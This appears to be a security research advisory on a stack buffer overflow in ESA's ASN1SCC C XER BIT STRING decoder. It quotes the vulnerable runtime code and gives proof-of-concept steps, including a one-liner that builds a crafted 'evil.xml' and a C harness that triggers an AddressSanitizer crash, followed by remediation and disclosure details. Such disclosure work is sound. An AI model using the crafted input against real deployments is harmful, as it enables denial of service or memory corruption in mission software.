Skip to content Skip to footer

Stack Buffer Overflow in ESA’s asn1scc

Written by: Ricardo Fradique (research) and Milenko Starcik (publication)

ESA’s ASN1SCC is an open-source ASN.1 compiler for embedded systems. It generates data types, encoders, and decoders from ASN.1 specifications, with support for encoding formats including XML Encoding Rules (XER). These generated components provide the interface between structured data definitions and the applications that process incoming messages.

Our security research identified a Buffer Overflow in the ASN1SCC C XER BIT STRING decoder. A mismatch between capacity measured in bits and capacity measured in bytes, combined with an unchecked memory write, allows a specially crafted XML element to overwrite memory beyond the destination buffer. Our assessment reproduced the issue in version 4.8.0.0. Depending on the application’s memory layout and security protections, exploitation can crash the decoding process, corrupt adjacent data, or potentially enable arbitrary code execution.

Key Findings

  • Malformed XML can trigger memory corruption: An oversized BIT STRING reaches an unchecked write inXer_DecodeBitString().
  • The generated decoder and runtime disagree on capacity: A 255-bit limit is treated as a 255-byte bound, despite the destination array containing only 32 bytes.
  • A small input is sufficient: The POC uses a single XML element containing 2,047 binary digits.
  • Impact depends on deployment: Untrusted file imports and network-facing XML processing can expose the vulnerable decoder. Code execution requires additional exploitation conditions, denial of service does not require a successful control-flow hijack.
  • CWE-121: Stack-based Buffer Overflow
  • CWE-131: Incorrect Calculation of Buffer Size
  • CWE-787: Out-of-Bounds Write
  • Severity: HIGH CVSS v3.1: 8.1

Vulnerability Analysis

The vulnerable function is located in:

asn1crt/asn1crt_encoding_xer.c
Xer_DecodeBitString()

Consider the following ASN.1 definition used in our assessment:

M DEFINITIONS ::= BEGIN
    T ::= BIT STRING (SIZE(1..255))
END

The generated C representation allocates 32 bytes for the BIT STRING’s backing array:

ceil(255 / 8) = 32 bytes

However, the generated decoder passes 255 as the runtime’s bufferMaxSize argument. That value represents the maximum number of bits, while the bit-setting loop uses it as a limit on byte indices.

The relevant vulnerable logic is:

len = (int)strlen(tmp);

bytes = len / 8;
if (len % 8)
    bytes++;

memset(value, 0x0, (size_t)bytes);

for (i = 0; i < len && i / 8 < bufferMaxSize; i++) {
    byte curVal = (byte)(tmp[i] - '0');
    value[i / 8] |= (byte)(curVal << (7 - i % 8));
}

Two separate defects combine:

  1. Unchecked initialization: The length supplied to memset() comes from the input digit count, without checking the actual destination capacity.
  2. Incorrect loop bound: The loop compares a byte index against a capacity supplied in bits.

 

How Far Can the Write Extend?

For the test case containing 2,047 binary digits:

Operation Total write extent from the array’s start Extent beyond the 32-byte array
Zero-initialization 256 bytes 224 bytes
Bit-setting loop Up to 255 bytes Up to 223 bytes

The decoder zeroes 256 bytes in total, not 256 additional bytes beyond the array. Within the bit-setting region, groups of eight input digits determine the resulting byte values. Consequently, this is not limited to overwriting adjacent memory with zeros: the attacker can influence the contents of the overflow. This remains a bounded, contiguous out-of-bounds write, rather than an unrestricted ability to write to any address.

Reproducing the Memory Corruption

Our POC uses ASN1SCC 4.8.0.0, the model above, and a small C runner that invokes the generated T_XER_Decode()function with a stack-allocated destination. The POC follows these steps:

  1. Generate a C XER decoder for the model: mkdir -p c_out asn1scc --xer-enc --c-lang -o c_out -atc model.asn
  2. Compile the runner, generated model, and runtime with AddressSanitizer: gcc -O0 -g -fsanitize=address \ runner.c model.c asn1crt.c \ asn1crt_encoding.c asn1crt_encoding_xer.c \ -I. -o runner_asan This command assumes the runner and generated files are in the working directory.
  3. Create an oversized BIT STRING element: python3 -c "open('evil.xml', 'w').write('<T>' + '1' * 2047 + '</T>')"
  4. Run the test harness: ./runner_asan evil.xml

This leads to an AddressSanitizer stack-buffer-overflow at thememset()operation. Full POC:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "asn1crt.h"
#include "model.h"

int main(int argc, char** argv) {
    const char *fn = (argc > 1) ? argv[1] : "evil.xml";
    FILE *f = fopen(fn, "rb");
    if (!f) { perror("open"); return 2; }
    fseek(f, 0, SEEK_END); long sz = ftell(f); fseek(f, 0, SEEK_SET);
    char *buf = malloc(sz + 1);
    size_t rd = fread(buf, 1, sz, f); buf[rd] = 0; fclose(f);
    T v; T_Initialize(&v);
    ByteStream s; ByteStream_AttachBuffer(&s, (byte*)buf, (long)rd);
    int err = 0;
    flag r = T_XER_Decode(&v, &s, &err);
    /* arr[] is only 32 bytes; nCount=2047 shows that a 2047-bit value was
       written into it and the out-of-bounds write executed. */
    printf("file=%s decoded: result=%d err=%d nCount=%d  (arr is 32 bytes)\n",
           fn, r, err, v.nCount);
    return 0;
}

This demonstrates the invalid memory write. It is not, by itself, a demonstration of arbitrary code execution. The maintainers subsequently confirmed a control-flow hijack in an unprotected build, redirecting execution to an existing function through an overwritten return address.

Potential Impact

A malformed BIT STRING can terminate the decoding process. In an application that accepts externally supplied XML, this could interrupt an import workflow, data-processing job, or exposed decoding service.

Depending on where the destination object resides, the overflow may affect neighboring stack or heap data. Potential consequences include corrupted fields, flags, or pointers, even where an attacker does not achieve code execution.

Potential Arbitrary Code Execution

The research identifies a path to control-flow hijacking when the overflow reaches a saved return address and the attacker can supply a usable target address. Exploitability therefore depends on memory layout, address knowledge, and protections such as stack canaries and address randomization. Neither code execution nor a harmless crash should be assumed for every deployment. Hardening is an important mitigation, but it does not correct the underlying out-of-bounds write.

Relevance to Space and Ground-Segment Software

Our research highlights XML-based ground-tooling workflows, including configuration and interface-data exchange, as areas to assess for exposure. For example, a service that imports third-party XML through the affected generated decoder could expose this parsing flaw.

These are potential deployment scenarios, not evidence that a particular mission system has been compromised. Exposure requires an affected XER BIT STRING decoding path and attacker-controlled input. This finding should not be generalized into a claim that BER, ACN, or uPER traffic triggers the same defect.

Related Ada Impact

The Ada runtime also lacked explicit input-length validation. With runtime checks enabled, oversized input raised an exception rather than producing the C-style memory corruption. The resulting unhandled exception could still terminate the decoder. The Ada fix introduces explicit validation and returns a decoding error for oversized or malformed input instead.

Remediation and Recommendations

Updating only the runtime file is insufficient. The correction must cover both sides of the interface:

  • Generated C code must pass the actual array capacity in bytes.
  • The runtime must validate the input before initializing or writing the destination.

The upstream changes implement both corrections, including rejection of invalid binary digits.

For the C backend, regenerate using ASN1SCC 4.9.0.0 or later. For Ada XER projects, regenerate using 4.9.2.0 or later. Rebuild and redeploy the applications with the regenerated code and updated runtime files.

Verify the Fix in Downstream Applications

We recommend that affected teams:

  • Inventory applications containing ASN1SCC-generated XER decoders, including copied or vendor supplied runtime files.
  • Identify externally supplied XML that can reach BIT STRING decoding.
  • Check that regenerated C calls pass the real byte capacity.
  • Test oversized and malformed inputs alongside valid boundary cases.
  • Verify that decoding errors are handled without terminating the surrounding service.

The upstream regression suite includes sanitizer-based C checks and Ada tests for oversized and malformed inputs. These provide a useful starting point for application-level validation. Until the fix is deployed, we recommend restricting untrusted XER input, isolating decoding processes, and retaining available compiler and platform hardening. These measures should supplement,not replace the corrected decoder.

Coordinated Disclosure

With the disclosure submitted on the 21st of September 2026, and coordinated through ESACERT, the project maintainers have independently corrected the C defect during a review before receiving this report. The report subsequently confirmed the fix. The C correction shipped in 4.9.0.0 on September 15, 2026. The Ada security update followed in 4.9.2.0 on September 24, 2026.

Conclusion

This finding illustrates how a small inconsistency in a generated-code interface can become a significant memory-safety vulnerability. A size constraint expressed in bits does not protect a byte array unless the runtime interprets and enforces that constraint correctly.

Our recommendation is straightforward: Regenerate affected code, update the accompanying runtime, rebuild downstream applications, and verify rejection of malformed inputs.

Security testing should cover both the generated decoder and the runtime it calls, not just the model that defines the intended limits.